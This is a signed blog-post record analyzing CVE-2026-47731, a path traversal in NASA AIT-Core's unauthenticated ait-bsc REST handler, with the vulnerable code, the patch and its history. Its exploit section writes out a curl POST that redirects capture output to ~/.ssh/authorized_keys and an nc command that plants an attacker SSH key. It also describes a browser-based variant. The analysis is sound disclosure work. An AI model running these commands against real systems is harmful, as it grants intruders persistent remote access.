-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The handler's docstring lists three parameters\n\nCVE-2026-47731 lives in `ait/core/bsc.py`. `StreamCaptureManagerServer` is a Bottle subclass; its `_route` method wires `POST //start` to `_add_logger_by_name`. The handler, in the pre-patch tree at line 739, reads:\n\n```python\ndef _add_logger_by_name(self, name):\n \"\"\"Handles POST requests for adding a new logger.\n\n Expects logger configuration to be passed in the request's query string.\n The logger name is included in the URL and the address components and\n connection type should be included as well. The loc attribute is\n defaulted to \"localhost\" when making the socket connection if not\n defined.\n\n loc = IP / interface\n port = port / protocol\n conn_type = udp or ethernet\n\n Raises:\n ValueError:\n if the port or connection type are not supplied.\n \"\"\"\n data = dict(request.forms)\n loc = data.pop(\"loc\", \"\")\n port = data.pop(\"port\", None)\n conn_type = data.pop(\"conn_type\", None)\n\n if not port or not conn_type:\n e = \"Port and/or conn_type not set\"\n raise ValueError(e)\n address = [loc, int(port)]\n\n if \"rotate_log\" in data:\n data[\"rotate_log\"] = True if data == \"true\" else False\n\n if \"rotate_log_delta\" in data:\n data[\"rotate_log_delta\"] = int(data[\"rotate_log_delta\"])\n\n self._logger_manager.add_logger(name, address, conn_type, **data)\n```\n\nThe docstring describes three parameters. The code pops three keys by name. The remaining form fields are everything else the attacker wanted to send. They survive in `data`, and `data` is forwarded into `add_logger` by `**`-splat.\n\nThere is no parameter list. There is a docstring, three `.pop()` calls, and a splat.\n\n## The function it forwards into has a fourth named parameter\n\n`add_logger` in the same file:\n\n```python\ndef add_logger(self, name, address, conn_type, log_dir_path=None, **kwargs):\n capture_handler_conf = kwargs\n\n if not log_dir_path:\n log_dir_path = self._mngr_conf[\"root_log_directory\"]\n\n log_dir_path = os.path.normpath(os.path.expanduser(log_dir_path))\n\n capture_handler_conf[\"log_dir\"] = log_dir_path\n capture_handler_conf[\"name\"] = name\n ...\n```\n\nWhen Python resolves the REST handler's `add_logger(name, address, conn_type, **data)` against this signature, any `log_dir_path` key in `data` binds to the keyword parameter. The other keys flow into `**kwargs` and from there into `capture_handler_conf`.\n\nThe REST layer never named `log_dir_path`. The function it calls did. Python's keyword-argument resolution closed the loop. From outside the file, the field is invisible: it does not appear in the route's docstring, in the route's `pop` list, in the route's validation. From inside the file, it is a documented parameter on `add_logger` with a documented default. The two views of the same function are inconsistent, and the inconsistency was never reconciled because nothing forced the reconciliation. Bottle gives you `request.forms`. `dict()` of `request.forms` gives you every field. `**data` forwards every field. The keyword parameter on the receiving function picks the dangerous one out of the stream by name.\n\n`path` and `file_name_pattern` are not parameters on any signature in this codepath. They land in `**kwargs` and are written into `capture_handler_conf`. They reach `_get_log_file` as data.\n\n## Join Is Not Sandbox: the `os.path.join` instance\n\n`_get_log_file` composes the destination path:\n\n```python\ndef _get_log_file(self, handler):\n if \"file_name_pattern\" not in handler:\n filename = \"%Y-%m-%d-%H-%M-%S-{name}.pcap\"\n else:\n filename = handler[\"file_name_pattern\"]\n\n log_file = handler[\"log_dir\"]\n if \"path\" in handler:\n log_file = os.path.join(log_file, handler[\"path\"], filename)\n else:\n log_file = os.path.join(log_file, filename)\n\n log_file = time.strftime(log_file, time.gmtime())\n log_file = log_file.format(**handler)\n\n return log_file\n```\n\nPython's `os.path.join` documentation states: \"If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.\" With `path=/etc/cron.d`, the configured `log_dir` is discarded and the result is `/etc/cron.d/`. The function's name reads as composition. The standard library defined it as overwrite-on-absolute. This is the Join Is Not Sandbox shape on the Python side: a standard-library path helper composed with a base directory and a caller-supplied segment, treated as a sandbox primitive, with no post-join verification. The Go variant of this pattern uses `filepath.Join` and the `..`-clean behavior; the Python variant here uses `os.path.join` and the absolute-path overwrite. The mistake is the same.\n\nThe `log_dir_path` route is even shorter. `add_logger` runs `os.path.normpath(os.path.expanduser(log_dir_path))` and writes the result into `handler[\"log_dir\"]`. `normpath` collapses `..` segments against the current string, it does not anchor them against a base. `/tmp/../etc/passwd` normalizes to `/etc/passwd`. The function ran as the documentation defined it.\n\nThe result is then handed to `pcap.open(log_file, mode=\"a\")`. `PCapStream`'s constructor writes the pcap global header when the file is new, and skips it when the file already has bytes. Either way, every UDP datagram the capture socket receives is appended as a pcap packet record: sixteen bytes of attacker-influenced packet header followed by the attacker-supplied payload, flushed to disk on every packet.\n\n## The primitive on the wire\n\nThe full exploit chain against a default ait-bsc install, no authentication required:\n\n```bash\ncurl -X POST http://target:8080/evil/start \\\n -d 'loc=' \\\n -d 'port=9999' \\\n -d 'conn_type=udp' \\\n -d 'log_dir_path=/home/operator/.ssh' \\\n -d 'file_name_pattern=authorized_keys'\n```\n\nServer-side: `dict(request.forms)` captures all five form fields. `.pop()` removes the three documented. `log_dir_path` and `file_name_pattern` survive in `data`. `add_logger(name, address, conn_type, **data)` resolves `log_dir_path` against the keyword parameter and routes it through `normpath`. The remaining `file_name_pattern` lands in `capture_handler_conf`. `_get_logger` calls `pcap.open(\"/home/operator/.ssh/authorized_keys\", mode=\"a\")`. The handler is now bound to UDP port 9999.\n\n```bash\necho -e '\\nssh-rsa AAAAB3NzaC1yc2EA... attacker@key\\n' | nc -u target 9999\n```\n\nThe capture socket receives the UDP packet. `pcap.PCapStream.write` appends a sixteen-byte packet record header followed by the payload bytes to `authorized_keys`. `OpenSSH`'s `authorized_keys` parser skips lines it does not recognize and accepts lines that match a public-key grammar. The garbage record header bytes form one or more skipped lines. The attacker-controlled payload, framed between newlines, forms a parseable key line.\n\nThe GHSA also describes a browser-based variant. A page running in the operator's browser POSTs the same form-encoded body to `http://localhost:8080/evil/start`. Bottle, by default, binds to localhost; ait-bsc's default config does the same. The browser opens the connection from the operator's machine. The server accepts it because there is no authentication.\n\nThe `ait-bsc` process runs as the operator. The files reachable from it are the operator's files: dotfiles, SSH key material, shell init scripts, any user-writable cron drop, any file the operator's `umask` allowed. The advisory describes the same primitive against arbitrary filesystem paths the BSC process can write. The append-mode pcap.open is the primitive. The form-encoded POST is the trigger.\n\n## The patch writes the function signature the docstring already implied\n\nThe fix for CVE-2026-47731 landed on May 19, 2026, in commit `0261b70`. The first new statement in `_add_logger_by_name`, immediately after the three documented `.pop()` calls, is the rejection:\n\n```python\n# Do not allow log_dir_path override from unauthenticated REST API\n# to prevent path traversal attacks. log_dir_path can only be set via\n# configuration file.\nif \"log_dir_path\" in data:\n raise ValueError(\n \"log_dir_path parameter is not allowed via REST API. \"\n \"Configure log directories in the bsc.yaml configuration file instead.\"\n )\n\n# Validate path parameter to prevent directory traversal\nif \"path\" in data:\n data[\"path\"] = data[\"path\"].lstrip(os.sep)\n if \"..\" in data[\"path\"]:\n raise ValueError(\"path parameter cannot contain '..'\")\n```\n\nThe first clause is the project's own statement, in code, that `log_dir_path` was never supposed to be an API parameter. The docstring listed three; this commit is the one that enforces three. The second clause does what the docstring's silence on the `path` field always implied: leading separators stripped, `..` rejected.\n\n`_get_log_file` gets the post-canonicalize prefix check that `os.path.join` was not:\n\n```python\nlog_file_real = os.path.realpath(log_file)\nroot_real = os.path.realpath(root)\nif not (\n log_file_real == root_real\n or log_file_real.startswith(root_real + os.sep)\n):\n raise ValueError(\n \"Invalid log file path; must remain under root_log_directory. \"\n f\"Attempted path: {log_file}\"\n )\n```\n\n`os.path.realpath` resolves symlinks and `..` segments against the filesystem. `startswith(root_real + os.sep)` is the actual sandbox check. Neither call was in the pre-patch function. The fix is the function the standard library never supplied and the developer assumed was implicit in `os.path.join`.\n\nThe last line of the patched `_add_logger_by_name` is unchanged:\n\n```python\nself._logger_manager.add_logger(name, address, conn_type, **data)\n```\n\nThe splat is still there. The `data` dict is narrower by exactly the two `raise ValueError` clauses that now sit above the splat. The fix is not at the call site. The fix is the parameter list the docstring described and the code did not enforce. This is the canonical [Wide Default, Narrow Doc](/posts/traefik-cve-2026-41181-forward-all-headers-by-default) shape, with the doc-vs-default gap held open by `**data` and `**kwargs` on either side of the boundary rather than by an HTTP header copy.\n\n## The handler was committed on April 5, 2016\n\n`git log --all --follow --reverse ait/core/bsc.py` traces the file back through the May 2018 rename from `bliss/core/bsc.py`. The earliest commit touching it is:\n\n```\n0550eaf 2016-04-05 Initial import\n```\n\nThe pre-patch shape of `_add_logger_by_name` is present in that commit verbatim. `dict(request.forms)`, three `.pop()` calls, `**data` into `add_logger`. The signature on `add_logger` in the same initial commit names `log_dir_path` as a keyword parameter with a default of `None`. The keyword-argument routing from form field to file-open argument has been the codepath since the file existed.\n\nThe fix commit is dated May 19, 2026. The repository advertises itself as the Advanced Multi-Mission Operations System Instrument Toolkit, used to operate NASA spacecraft missions. The vulnerable codepath was added by JPL on April 5, 2016 and patched by JPL on May 19, 2026. The intervening interval is ten years and six weeks. The fix is twelve lines.\n\n## What gets accepted by default is what gets shipped\n\nThe Errors middleware in Traefik forwards every inbound HTTP header to the configured error-page service because `utils.CopyHeaders` is the unconditional copy that sits between the inbound request and the outbound call. Traefik's reference documentation enumerates the one header the project has a knob for. The other headers are absent from the documentation because no knob exists, not because they are absent from the wire. `nefariousplan` named that shape Wide Default, Narrow Doc.\n\nAIT-Core's BSC handler is the same shape, ported into Python. `dict(request.forms)` is the inbound structure. `**data` is the unconditional copy. `add_logger(name, address, conn_type, log_dir_path=None, **kwargs)` is the call site whose signature catches everything. The docstring on `_add_logger_by_name` is the narrow doc, and it lists three parameters. The wide default is whatever the form encodes. The patch does not delete the splat. It writes the rejection clauses above the splat that the docstring always implied.\n\nThe interface the JPL committers documented in 2016 was the correct interface. The interface the JPL committers shipped in 2016 was the wider one Python's keyword-argument resolution composed for them. Both interfaces have been public on `pypi.org/project/ait-core` for ten years. Pick one, and the other is the bug.\n\nPoC: [GHSA-p462-prxw-mjx4](https://github.com/advisories/GHSA-p462-prxw-mjx4). Fix commit: [`0261b70`](https://github.com/NASA-AMMOS/AIT-Core/commit/0261b70ce6f7af90b33dc6a1dfa98e9b103a4bbf).","closing_line":"The docstring was the allowlist. The patch is what finally lets the code mean it.","hook_md":"NASA's AIT-Core ships a Binary Stream Capture module called `ait-bsc`. The module's HTTP server has no authentication. The handler that registers a new capture is described in its own docstring as taking three parameters, `loc`, `port`, and `conn_type`. The handler's code reads `dict(request.forms)`, pops those three by name, and forwards the rest into `add_logger` as `**data`.\n\nCVE-2026-47731 is the path traversal that exists because Python's keyword-argument resolution made the gap between a docstring and a `**data` splat invisible for ten years.","post_id":569,"slug":"nasa-ait-core-bsc-cve-2026-47731-docstring-was-the-allowlist","title":"CVE-2026-47731: NASA AIT-Core's BSC Handler Treated The Docstring As The Allowlist.","type":"initial","unreadable_sentence":"The patch's first new line bans `log_dir_path` from the REST API. The pre-patch code never opted it in. Python's keyword-argument resolution did."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCawsXRwAKCRDeZjl4jgkQ JvggAQDGiv4Gu+Nf98olxlbficM+/fCxA19Ud2qNlVtol0AyMgEAxx5mEe2UmiPa 9aLho0r6DL2XY4oqNBL8MZ1Jwv3lngg= =Ezar -----END PGP SIGNATURE-----